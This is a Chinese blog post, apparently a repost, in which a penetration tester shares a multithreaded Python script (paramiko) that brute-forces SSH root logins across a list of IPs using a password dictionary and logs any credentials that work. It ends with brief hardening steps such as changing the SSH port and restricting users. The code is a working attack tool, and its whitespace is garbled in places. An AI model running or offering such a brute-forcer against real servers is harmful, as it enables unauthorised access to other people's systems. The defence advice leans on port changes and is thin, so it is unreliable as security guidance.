本周需要给客户做渗透测试,扫描器中发现客户存在SSH弱口令,于是在网上找个一个SSH爆破的脚本,顺便改了一下,测试,虽然没成功~
程序目录如下:
|--ssh.scan.py
|--/log:
sshd
|--/dict:
ip
password
下面上源码吧,文件保存为ssh.scan.py,查看使用方式:python ssh.scan.py -h
#!/usr/bin/python python#-*- coding: utf-8 -*-
importparamiko,threading,sys,time,osclassSSHThread(threading.Thread):def __init__(self, ip, port, timeout, dic, LogFile):
threading.Thread.__init__(self)
self.ip=ip
self.port=port
self.dict=dic
self.timeout=timeout
self.LogFile=LogFiledefrun(self):print("Start try ssh => %s" %self.ip)
username= "root"
try:
password= open(self.dict).read().split('\n')except:print("Open dict file `%s` error" %self.dict)
exit(1)for pwd inpassword:try:
ssh=paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(self.ip, self.port, username, pwd, timeout=self.timeout)print("\nIP => %s, Login %s => %s \n" %(self.ip, username, pwd))
open(self.LogFile,"a").write("[ %s ] IP => %s, port => %d, %s => %s \n" %(time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd))break
except:print("IP => %s, Error %s => %s" %(self.ip, username, pwd))pass
defViolenceSSH(ip, port, timeout, dic, LogFile):
ssh_scan=SSHThread(ip, port, timeout, dic, LogFile)
ssh_scan.start()defmain(ipFile, dic, log):if ipFile == "-h":
help()try:
ipText= open(ipFile).read().split('\n')for ip inipText:if ip != '':
time.sleep(0.5)
threading.Thread(target= ViolenceSSH, args = (ip, 22, 1, dic, log, )).start()except:print("Open IP list file `%s` error" %ipFile)
exit(1)defhelp():print("python ssh.scan.py 使用说明:\n\
python ssh.scan.py ip_file_path dict_file_path ssh_log_path \n")
exit(1)if __name__ == '__main__':
fpath= os.path.dirname(os.path.abspath('__file__'))
ipFile= sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip"dic= sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password"log= sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd"
try:
os.system("clear")
main(ipFile, dic, log)exceptKeyboardInterrupt:
exit(1)
需要的内容自己修改就好了
防御:
怎么办呢?防止被人爆菊,那就修改ssh默认登陆端口吧。修改方式主要是修改ssh配置文件:
1.修改iptables
首先要过防火墙,修改防火墙规则:
/sbin/iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 2333 -j ACCEPT
保存规则:
service iptables save
重启防火墙:
service iptables restart
2.修改ssh配置文件
cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
修改ssh端口:
vim /etc/ssh/sshd_config
在端口#Port 22下面增加Port 2333
vim /etc/ssh/ssh_config
在端口#Port 22下面增加Port 2333
重启ssh服务:
service sshd restart
3.其他修改
限制用户的SSH访问
假设我们只要xiaocao和homeway用户能通过SSH使用系统,向sshd_config配置文件中添加
vim /etc/ssh/sshd_config
修改下面一行:
AllowUsers xiaocao homeway
因为是给客户做渗透,具体的内容就不贴出来了。
字典可以是找弱口令字典,我自己是自己现做的一个字典。
原文:https://segmentfault.com/a/1190000002921905